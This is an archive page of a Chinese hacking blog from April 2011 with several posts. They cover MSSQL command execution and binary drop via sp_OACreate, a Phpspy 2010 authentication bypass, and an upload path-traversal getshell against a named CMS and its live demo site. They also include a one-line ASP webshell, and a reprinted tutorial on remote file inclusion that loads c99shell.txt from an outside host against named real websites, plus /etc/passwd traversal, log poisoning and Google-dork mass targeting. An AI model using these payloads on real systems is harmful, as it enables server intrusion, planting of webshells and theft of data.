浏览模式: 标准 | 列表2011年04月的文章

MSSQL中两种特别的执行命令的方法

Submitted by admin
2011, April 27, 8:30 AM

来源:http://www.t00ls.net 
以下方法都以需要SA权限为前提。 

1, 沙盒模式的变通. 


原始方法: 

第一句开启沙盘模式:exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1 
复制代码第二句利用jet.oledb执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\dnary.mdb’,’select shell("CMD命令")’)  
复制代码或select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\ias.mdb’,’select shell("CMD命令")’)  
复制代码但是,当 X:\Windows\System32\ias\dnary.mdb 或 X:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了. 

所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)declare @hr int 

declare @object int;declare @property int 

exec @hr = sp_OACreate ’ADOX.Catalog’,@object OUTPUT 

exec @hr = sp_OAMethod @object,’Create’,@property output,’Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml’ 
  

然后再利用jet.oledb调用SysSetup.xml执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("CMD命令")’) 
  



2, 直接写入文件到对方计算机,此处的文件可以是exe, dll,等.(注,此方法不支持文件大于64KB) 

当已经有一个程序需要放到对方计算机的时候.(例如, 放MA。) 
将这个文件转成HEX代码。 
如果不知道怎么把文件转成HEX代码,请使用下面的工具. 
 File2Hex.rar (424 Bytes)   



使用方法很简单, 解压出来之后, 把要转的文件拖到脚本上去, 就会生成包含HEX代码的文本. 

然后用以下方法写入到对方计算机中。DECLARE @ObjectToken INT 

EXEC sp_OACreate ’ADODB.Stream’, @ObjectToken OUTPUT 

EXEC sp_OASetProperty @ObjectToken, ’Type’, 1 

EXEC sp_OAMethod @ObjectToken, ’Open’ 

EXEC sp_OAMethod @ObjectToken, ’Write’, NULL, 0x123456(其中0x123456为HEX内容) 



EXEC sp_OAMethod @ObjectToken, ’SaveToFile’, NULL, ’Test.exe(文件名)’, 2 

EXEC sp_OAMethod @ObjectToken, ’Close’ 

EXEC sp_OADestroy @ObjectToken 


  

写入之后, 就发挥你的办法去执行你写入的这个文件就OK了。 



集思广益: 
现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限.. 
所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程. 
至于存储过程的功能. 可以是下载程序并执行, 可以是直接执行命令. 当然这个看你自己了. 


Windows 下不能够以下面这些字样来命名文件/文件夹,包括:“aux”“com1”“com2”“prn”“con”和“nul”等,因为这些名字都属于设备名称,等价于一个 DOS 设备,如果我们把文件命名为这些名字,Windows 就会误以为发生重名,所以会提示“不能创建同名的文件”等等。 
当然,有一些特殊的方法可以偷机取巧,建立以这些设备名为名的文件夹,比如我们在命令提示符下执行“md C:\aux\\”,就在 C 盘建了一个名叫 aux 的文件夹。此文件夹虽然可以访问,也可以建立子文件夹,但却无法删除,因为 Windows 不允许以这种方式删除设备。在系统看来,这个 aux 文件夹就是设备。那么,如何删除这样的文件/文件夹呢?我们只要按照完整的 UNC 路径格式,就是网上邻居的路径格式,正确输入文件路径及文件名即可。比如要删除 C 盘下的 aux 文件夹,可在命令提示符下执行:rd /s \\.\C:\aux,rd 是命令提示符删除文件夹的命令,/s 参数表示从所有子目录删除指定文件。再比如要删除 C 盘 temp 文件夹下的 nul.exe 文件,在命令提示符下执行:del \\.\C:\temp\nul.exe 即可。

在Windows下无法以设备名来命名文件或文件夹,这些设备名主要有aux、com1、com2、prn、con、nul等,但Windows 2000/XP有个漏洞可以以设备名来命名文件或文件夹,让木马可以躲在那里而不被发现。

在服务器中 修改文件夹选项 – 查看 -隐藏受保护的操作系统文件[取消勾选] 即可查看此类文件属性均为RHSA系统文件且无法删除修改移动, 
那么如何彻底删除这些文件呢,首先打开运行cmd,输入以下命令
rmdir   \\.\D:\wwwroot\test\wwwroot   /s   /q 
注:D:\wwwroot\test\wwwroot 为你的网站所在目录(替换即可);在执行以上命令前,将需要备份的网站程序移动到其他目录下; 
以上命令运行1-2次即可彻底删除这些文件;另请注意修补网站漏洞,一般为后门为 aux.asp;aux.jpg 上传漏洞。
这个方法比较土点,效果也有,但是站点运行总不能停止,另外方法就是通过工具来处理这类问题。
删除方法如下: 
第一步:进入服务器,打开工具>文件夹选项>查看>"隐藏受保护的操作系统文件(推荐)",去掉其前边的钩,选中"显示所有文件和文件夹" 。

看木马文件的创建时间,通过搜索找出与其同时创建的文件。

第二步:下载Unlocker或者暴力删除文件工具,将这些文件删除。

方法三是最简单也是最方便的,通过命令删除:

del /f /a /q \\?\%1 
rd /s /q \\?\%1

把上面的命令保存为.bat后缀名称的文件,然后把不能删除的文件或者文件夹拖到bat文件上就可以。

经我的验证,第三种方法简单方便,也安全可靠,不容易出现误操作。


http://www.d99net.net/article.asp?id=389

Phpspy 2010 身份验证绕过漏洞

Submitted by admin
2011, April 23, 9:02 PM


利用代码:
<form method="POST" action="http://mirc.3est.com/1.php">
<input type="hidden" name="admin['pass']" value="1">
<input type="submit" value="Login">
</form>

在每次向shell请求数据的时候 都附加post一个admin['pass']即可。
形成原因:
2009不存在该洞,仅限2010版本,对比二者即可得到答案:
 foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}

网趣网站管理系统--上传漏洞

Submitted by admin
2011, April 22, 12:18 AM

程序:网趣网站管理系统1.2.1    (包含动态版和静态版 均存在此漏洞)

下载:http://www.codepub.com/d/downpage.php?n=1&id=18716::1288173021

FROM:http://www.st999.cn/blog

DATA:2010/04/22

利用方法:/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1

漏洞文件:Free_ComQu\Ku_edit\ComquUp.asp

源码 :

<%Response.Buffer=True
Server.ScriptTimeOut=9999999
On Error Resume Next%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" />
<meta name="author" content="酷航网络" />
<meta name="description" content="酷航网络提供虚拟主机、域名注册等服务!" />
<meta name="keywords" content="酷航网络、虚拟主机、域名注册" />
<style type="text/css">body,form{margin:0px;padding:0px;}body,input{font-size:12px;}</style>
<title>酷航文件上传系统V2</title>
</head>
<body id="body"><table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"><tr><td>
<%
response.Cookies("ComquUp")="1"
'您可以把上面判断cookies的写入语句复制到您登录的地方,这样便是“只有登录后才能操作上传文件。”
if request.Cookies("ComquUp")="1" then%>

<%
ComquDFormName=trim(request("nf"))
ComquDInputName=trim(request("ni"))
ComquDYNReName=trim(request("nr"))
ComquDPath=trim(request("nt"))
ComquDDM=trim(request("nm"))
ComquDPathQ=trim(request("nq"))
ComquDType=trim(request("lx"))

if ComquDPath<>"" then:ComquSavePath=ComquDPath:else:ComquSavePath="/Upfile/edit/":end if
if ComquDPathQ<>"" then:ComquSavePathQ=ComquDPathQ:else:ComquSavePathQ=ComquSavePath:end if
ComquYNPath(ComquSavePath)

if ComquDType="1" then
ComquFileNames="jpg,gif,png,bmp"
ComquBigSize=1024000'单位B
elseif ComquDType="2" then
ComquFileNames="swf,flv"
ComquBigSize=10240000
elseif ComquDType="3" then
ComquFileNames="avi,wmv,asf,mov,mp3,wma"
ComquBigSize=102400000
elseif ComquDType="4" then
ComquFileNames="rm,ra,ram,rmvb"
ComquBigSize=102400000
elseif ComquDType="5" then
ComquFileNames="txt,rar,zip,doc,7z,ppt"
ComquBigSize=102400000
end if

ComquFileSize=Request.TotalBytes

If ComquFileSize>0 Then
if ComquFileSize<ComquBigSize then
Set ComquUpStm=Server.CreateObject("ADODB.Stream")
ComquUpStm.Type=1
ComquUpStm.Open
ComquUpStm.Write Request.BinaryRead(ComquFileSize)
ComquUpStm.Position=0
ComquFormDataSize=ComquUpStm.Read
ComquCrlf=chrB(13)&chrB(10)
ComquFormStart=InStrB(ComquFormDataSize,ComquCrlf)
ComquFormEnd=InStrB(ComquFormStart+1,ComquFormDataSize,ComquCrlf)
Set ComquFormStm=Server.Createobject("ADODB.Stream")
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=ComquFormStart + 1
ComquUpStm.CopyTo ComquFormStm,ComquFormEnd-ComquFormStart-3
ComquFormStm.Position=0
ComquFormStm.Type=2
ComquFormStm.CharSet="GB2312"
ComquFormStmText=ComquFormStm.Readtext
ComquFormStm.Close
ComquUpFileNAll=Mid(ComquFormStmText,InstrRev(ComquFormStmText,"\")+1,ComquFormEnd)
ComquUpFileCZM=mid(ComquUpFileNAll,InstrRev(ComquUpFileNAll,"."))

If ComquCheckFileCZM(ComquUpFileNAll) Then

if ComquDDM<>"" then
ComquUpFileName=ComquDDM
else
if ComquDYNReName<>"ok" then:ComquUpFileName=ComquUpFileNAll:else:ComquUpFileName=Year(now)&right("0"&Month(now),2)&right("0"&Day(now),2)&right("0"&Hour(now),2)&right("0"&Minute(now),2)&right("0"&Second(now),2)&right(replace(Request.ServerVariables("REMOTE_ADDR"),".",""),4)&ComquUpFileCZM:end if
end if

ComquSaveFile=Server.MapPath(ComquSavePath & ComquUpFileName)
k=Instrb(ComquFormDataSize,ComquCrlf&ComquCrlf)+4
l=Instrb(k+1,ComquFormDataSize,leftB(ComquFormDataSize,ComquFormStart-1))-k-2
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=k-1
ComquUpStm.CopyTo ComquFormStm,l
ComquFormStm.SaveToFile ComquSaveFile,2
ComquSaveFileName=Mid(ComquSaveFile,InstrRev(ComquSaveFile,"\")+1)

if ComquDFormName<>"" then:Response.write"<script language=javascript>parent.document."&ComquDFormName&"."&ComquDInputName&".value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":else:Response.write"<script language=javascript>parent.document.getElementById("""&ComquDInputName&""").value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":end if
Response.write"<a href="""&ComquSavePath&ComquSaveFileName&""" target=""_blank"" title=""文件名称:"&ComquSaveFileName&""&vbcrlf&"文件大小:"&ComquFileSize&"KB"&vbcrlf&"友情提示:点击打开预览""><span style=""color:red;text-decoration:none;"">"&left(ComquSaveFileName,3)&"**"&ComquUpFileCZM&"</span></a> 上传成功! <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
Else
Response.write"<span style=""color:red;"">文件格式不正确!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传文件</a><br />"
End If
Set ComquFormStm=Nothing
UploadStream.Close
Set UploadStream=Nothing


Function ComquCheckFileCZM(FileName)
FileType=Split(ComquFileNames,",")
For i=0 To Ubound(FileType)
If LCase(Right(FileName,len(FileType(i))))=LCase(FileType(i)) then
ComquCheckFileCZM=True
Exit Function
Else
ComquCheckFileCZM=False
End if
Next
End Function

Function ComquYNPath(FolderName)
ComquFolderM=Server.Mappath(FolderName)
Set Fso=CreateObject("Scripting.FileSystemObject")
If Not Fso.FolderExists(ComquFolderM) Then
Fso.CreateFolder(ComquFolderM)
End If
Set Fso=Nothing
End Function

else
Response.Write"<span style=""color:red;"">大小超过"&ComquBigSize&"B!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
end if

Else%><script language="Javascript">
function ComquCheckFile(){
if(document.ComquUpForm.ComquUpFile.value=="")
{alert("请选择上传文件!")
document.ComquUpForm.ComquUpFile.focus()
return false}
return true}
</script>
<form action="" method="post" name="ComquUpForm" onsubmit="return ComquCheckFile()"enctype="multipart/form-data">
<input type="file" name="ComquUpFile" size="10">
<input type="submit" value="上传">
</form>
<%End if
else:response.Write("<span style=""color:red;"">您无权上传操作!</span>"):end if%></td></tr></table>
</body>
</html>

嘿嘿,,,很明显的nt参数未过滤,可以构造路径,直接上传获得shell。

此程序的官方演示地址,也存在着这漏洞。

http://main.comqu.com/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1

直接找个jpg的马儿上传,右键查看源码,获得名称../st999.asp;st999.asp;201104220019371540.jpg,实际上马儿的名称是st999.asp;201104220019371540.jpg,shell地址就是http://main.comqu.com/st999.asp;201104220019371540.jpg

这个是一句话,密码是st999,大家就不要轮J官方的演示站了,嘿嘿。。。

大小: 21.37 K
尺寸: 500 x 208
浏览: 52 次
点击打开新窗口浏览全图

Tags: 网趣

#首发  www.3est.com
#发布作者 : 村长
#发布日期:2011-04.21

漏洞分析:

/index.php  源码

  1. /*--------------*/
  2. /*省略不必要代码*/
  3. /*--------------*/
  4.  
  5. $_REQUEST = cleanArrayForMysql($_REQUEST);
  6. $_GET     = cleanArrayForMysql($_GET);
  7. $_POST    = cleanArrayForMysql($_POST);
  8. $request  = $_REQUEST;
  9.  
  10. //上面传参都进行字符串转义,对于 ../ 没有任何影响
  11.  
  12. /*--------------*/
  13. /*省略不必要代码*/
  14. /*--------------*/
  15.  
  16. $request['m']                =        !isset($request['m'])?'':$request['m'];                   //m没有过滤
  17. $params['model']        =        empty($request['m'])?$menu_arr['type']:$request['m'];
  18. $request['a']                =        !isset($request['a'])?'':$request['a'];                   //a没有过滤
  19. $params['action']        =        empty($request['a'])?'index':$request['a'];
  20.  
  21.  
  22. /*--------------*/
  23. /*省略不必要代码*/
  24. /*--------------*/
  25.  
  26. function layout_part($style='')
  27. {
  28.         global $params,$request;
  29.        
  30.         //如果本次升级影响了parts内sql的执行, 请手动注释destorydb函数体代码,切记不要删除
  31.         destorydb();
  32.        
  33.         if(!empty($style)) $style = '_'.$style;
  34.         $part_path=ABSPATH.'/skins/'.STYLENAME.'/parts/'.$params['model'].'_'.$params['action'].$style.'.php';       //含m和a参数的路径
  35.         $content_part_path=ABSPATH.'/content/'.$params['model'].'/parts_'.$params['action'].'.php';                  //含m和a参数的路径
  36.         if(is_file($part_path))
  37.                 require_once($part_path);            //包含漏洞出现   BY:村长
  38.  
  39.         elseif(is_file($content_part_path))
  40.                 require_once($content_part_path);    //包含漏洞出现 BY:村长
  41.         else  
  42.                 echo $part_path;
  43.                 echo $content_part_path;
  44.                 echo '<span style="color:RED"><strong>您当前选择的信息所在的分类栏目或频道可能已经被删除或不存在,请检查一下,该信息所在的栏目情况以及栏目是
  45.  
  46. 否存在!</strong></span>';
  47.        
  48.         // 如果本次升级影响了parts内sql的执行, 请手动注释如下代码recoverdb函数体代码,切记不要删除
  49.         recoverdb();
  50.        
  51.         isComments();
  52. }
复制代码

漏洞利用(前台 GETSHELL):

IIS或者某些apache版本下php文件系统可以进行路径截断,例如://///////////////////////////////// 或则%00

1.先上传PHP恶意代码的图片格式文件,复制上传源码 cun.html:

  1. <form id="frmUpload" enctype="multipart/form-data"
  2. action="http://127.0.0.1/editor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
  3. <input type="file" name="NewFile" size="50"><br>
  4. <input id="btnUpload" type="submit" value="Upload">
  5. </form>
复制代码

.假设得到图片路径 /upload/Media/cunzhang.gif  (利用的是FCK的,测试上传变"."为"_",FCK的不能直接上传为诸如1.asp;.jpg的文件的)

3.直接输入地址:http://127.0.0.1/?m=../upload/Media/cunzhang.gif%00

或则 输入 http://127.0.0.1/?m=../upload/Me ... ///////////////////(若干)



嗯,再给个后台拿SHELL的方法吧,方面给那些不能包含,能进后台的朋友说下


后台 GETSHELL:


依次点击 =》数据库管理=》数据库恢复=》浏览上传  

上传文件cunzhang.asp;.sql  内容为  <%Y=request("cun")%> <%execute(Y)%>

得到地址http://127.0.0.1/temp/data/cunzhang.asp;.sql     (利用IIS的解析漏洞,就是SHELL了)

PHP漏洞挖掘之旅——远程文件包含漏洞

Submitted by admin
2011, April 21, 8:31 AM

 本篇文章源自《黑客防线》2007年5月刊
转载请注明版权

作者:cnbird[H.U.C]河北泊头杨宁
===================================
 
大家好,我是cnbird[H.U.C],从这期开始,我将分几期来带领大家一起走进自己挖掘PHP漏洞的殿堂。
我的思路是这样的,先从最最简单的远程文件包含漏洞入手,因为远程文件包含漏洞容易查找,并且危险系数非常高。像我一样的菜鸟,容易挖掘出像这样简单但却利用率高的漏洞。之后就是传说中的SQL注入漏洞,涉及将会很广泛,从非常普通的$_POST和$_GET方式的SQL注入到比较高级的$_SESSION变量的注入。当然,我还会告诉大家如何在Linux下用grep命令快速寻找这样的SQL注入漏洞,以及如何http://google.com/codesearch中寻找大量的特定SQL注入漏洞代码。第三步就是教大家如何寻找上传漏洞、远程代码运行,以及远程修改管理员密码等高级的PHP漏洞。
小提示
Get和Post是HTTP/1.1协议中的两个传送数据的方式。两者的区别通过提交表单才能看得出来,主要是在数据发送方式和接收方式上。一般来说,尽量避免使用Get方式提交表单,因为有可能会导致安全问题。比如在登录表单中用Get方式,用户输入的用户名和密码将在地址栏中暴露无遗。但是在分页程序中,用Get方式就比用Post方式好。

挖掘PHP漏洞的基本环境
要搭建PHP运行环境,Windows下的用户可以下载WAPM来构造,它是运行于Windows平台的综合网络服务器系统,包含了以下组件:Apache2,互联网上最流行的Web服务软件之一,用于提供基本的Web服务功能,支持SSL、GZIP和LIC(IP同时连接数限制)功能;PHP4或PHP5,流行的动态网页语言,用于提供PHP语言的网络应用程序开发,支持ZendOptimizer优化功能和Zend加密功能,或者Turck MMCahe对PHP的加速、优化、加密、动态缓存功能;Tomcat4,用以提供JSP和Servlet的服务解析。MySQL4,用以SQL数据库功能。
如果是Linux下的用户就必须要有Apache和MySQL的支持。强烈推荐大家在Linux下操作文中的实例,因为这对熟悉PHP漏洞挖掘非常有帮助,比如我们要用到的grep的搜索字符串功能。

PHP远程文件包含漏洞原理
        什么才是远程文件包含漏洞呢?简单的说,就是服务器通过PHP的任意文件包含过滤不严,从而去执行一个恶意文件,这是程序过滤上的问题。PHP远程文件包含漏洞涉及的4个函数是include()、require()、include_once()和require_once(),它们之间的区别请,大家可以参http://php.chinaunix.net/manual/zh/function.include.php中的说明,我就不在这里不浪费口舌了。

PHP远程文件包含漏洞中的三种类型
        也许大家对PHP远程文件包含漏洞已经知道了很多,但是绝对不知道远程文件包含漏洞还包含三种类型吧?以下的内容是从我多年的漏洞代码分析中总结出来的经验,这部分大家一定不要错过,这三种类型我都会详细分析的。
第一种是PHP远程文件包含就是大家经常使用到的,用于测试的主角是Ultimate Fun Book 1.02,一个德国的小巧的记事本。下面我们就开始一步步地分析如何找远程文件包含漏洞并加以利用。
下载源代码到我的RedHat Linux操作系统上,用unzip命令解压缩zip包,进入程序的主目录,如图1所示。首先讲解一下grep的用法,这样大家可以方便地挖掘自己的漏洞。grep(global search regular expression(RE) and print out the line全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。我们主要使用的参数有如下几个:-n,在匹配的行前面打印行号;-r,递归查询,简单的说就是查询当前目录下所有的文件;匹配符*能匹配所有文件类型。具体的解释大家可以参http://man.chinaunix.net/newsoft/grep/open.htm。 
大小: 40.06 K
尺寸: 500 x 314
浏览: 52 次
点击打开新窗口浏览全图

图1
理解了grep的用法后,结合前面讲解的PHP远程文件包含涉及的几个函数,我们开始挖掘自己的漏洞之旅吧。
在命令行中输入“grep -r -n 'include' *”,如图2所示,没有输出任何结果,说明这个程序没有用到include函数。继续输入“grep –n –r 'require' *”,如图3所示,嘿嘿,出来了几个。此时注意看“ufbook/function.php:8:require($gbpfad."/config.php");”,结合以前的代码,我们知道这里的$gbpfad变量第一次出现,没有任何的过滤,在allow_url_fopen为ON的时候,我们就可以构建语句了,格式为“网站路径/function.php?gbpfad=远程要执行的代码”。

大小: 43.33 K
尺寸: 500 x 311
浏览: 56 次
点击打开新窗口浏览全图

大小: 46.66 K
尺寸: 479 x 181
浏览: 48 次
点击打开新窗口浏览全图  

我们先在本地测试一下,提交http://192.168.0.3/ufbook/FULL/ufbook/function.php?gbpfad=http://192.168.0.1/c99shell.txt?”,其中的192.168.0.3是我的Linux主机,192.168.0.1是我自己的机器。这条语句的意思就是让$gbpfad执行192.168.0.1上的c99shell.txt文件,如图4所示,这个时候我们就已经成功地执行了一个假的WebShell了。我们要拿到服务器上的WebShell也很简单,利用这个假的WebShell在服务器上找一个可写的目录,然后利用c99shell的上传功能把自己需要的WebShell上传就可以了。
大小: 59.29 K
尺寸: 500 x 278
浏览: 53 次
点击打开新窗口浏览全图

不过仅找到漏洞对我们来说还是不够的,我们为的是拿大量网站的WebShell。接下来我们就要找这个程序的特殊字符了,目的是为了用Google.com搜索有漏洞的网站。这套程序的特殊字符是“Powered by Ultimate-Fun-Book 1.02”,很简单也很明显,搜索后的结果如图5所示,找到了24个网站,看来用这套程序的还不是很多嘛。我们随便找一个试一下,具体过程我就省略了,大家可以用http://www.microcheese.de/ufbook/function.php?gbpfad=http://121.16.59.229/c99shell.txt?”来测试,如图6所示是我们成功后的结果。

大小: 41.76 K
尺寸: 500 x 200
浏览: 71 次
点击打开新窗口浏览全图

大小: 64.74 K
尺寸: 500 x 306
浏览: 51 次
点击打开新窗口浏览全图

第一种类型至此就分析完了,很简单吧?当然,我们防御的方法也很简单,如图7所示,只要把$gbpfad初始化一下就可以了
大小: 33.48 K
尺寸: 500 x 239
浏览: 50 次
点击打开新窗口浏览全图

图7
        第二种类型是本地包含PHP文件,这里给大家说一下漏洞所在就可以了,按照第一种方法可以找到漏洞。
漏洞代码:include“/include/” . $action . “php”;
利用方法:“exp.php?action=../../../../../etc/passwd%00”提交以后的包含代码就变成了“include “/include/” . ../../../../.,/etc/passwd%00.“php””。这里的“%00”在PHP中的意思就是截断以后的代码。比如有漏洞的地址是http://satconxion.org/instaladores/index.php?action=view&filename=../../../../../../etc/passwd”,则返回的结果就是“/etc/passwd”中的文件了,如图8所示。
大小: 48.98 K
尺寸: 500 x 319
浏览: 71 次
点击打开新窗口浏览全图

图8
第三种类型是本地文件包含其他,和第二种类型基本上差不多,就不多说了,漏洞代码为“include“/mods” . $moudle;”,漏洞利用为“exp.php?moudle=../../../../../../etc/passwd”。
其实第二种和第三种漏洞是能够直接得到WebShell的,这里先简单地跟大家解释一下,在高级部分我会详细讲解如何利用的。其原理就是把我们要执行的代码插入到Apache的日志Log中,然后自己写代码模拟Post方式向主机提交如下请求,这样就可以执行系统的命令了。

print $socket "GET ".$path."index.php?GLOBALS[tplname]=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

关于挖掘PHP远程文件包含漏洞的讲解到这里就算结束了,最后我再教大家一个在Google.com上搜索远程文件包含漏洞的方法。首先打http://www.google.com/codesearch,搜索代码“^include\(\$(.*)\);$ lang:PHP”,意思就是搜索以include开头的匹配结果($后面是任意的名称),如图9所示,我们找到了7000个这样的程序,结合本文所写的找漏洞程序的特殊字符,就可以找到N多有漏洞的网站了,是不是很有成就感呢?呵呵,作为一个菜鸟,重要的是要多多总结,时刻记录下认为重要的东西,总结得多了,我们的技术自然就会慢慢增长了。

  大小: 54.24 K
尺寸: 500 x 302
浏览: 60 次
点击打开新窗口浏览全图

图9
        这期文章就写到这里了,下期的主要内容是SQL注入漏洞,提前透露一下,我们可不是简单地分析一些普通的没有过滤变量直接带入SQL语句查询的漏洞,而是要深入到PHP脚本程序的本身去挖掘SQL注入漏洞。好了,我们下期见吧!
 
 
 
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

Tags: 挖掘, php

哥惨了

Submitted by admin
2011, April 2, 12:41 PM

前几天头一直难受,一直忍着,直到昨晚去看医生。

看了医生了,还打了针,吃了药,美美的睡了一觉,早上醒来,一切OK。

知道医生怎么说的不?

医生说我头疼是因为用脑过度,我靠,想想也有道理,有时集中精神几个小时,头就疼了,难受了,还真的有点用脑过度。。。

不过,这脑袋不是越用越灵活的吗?怎么还会过度呢?这点就不懂了。。。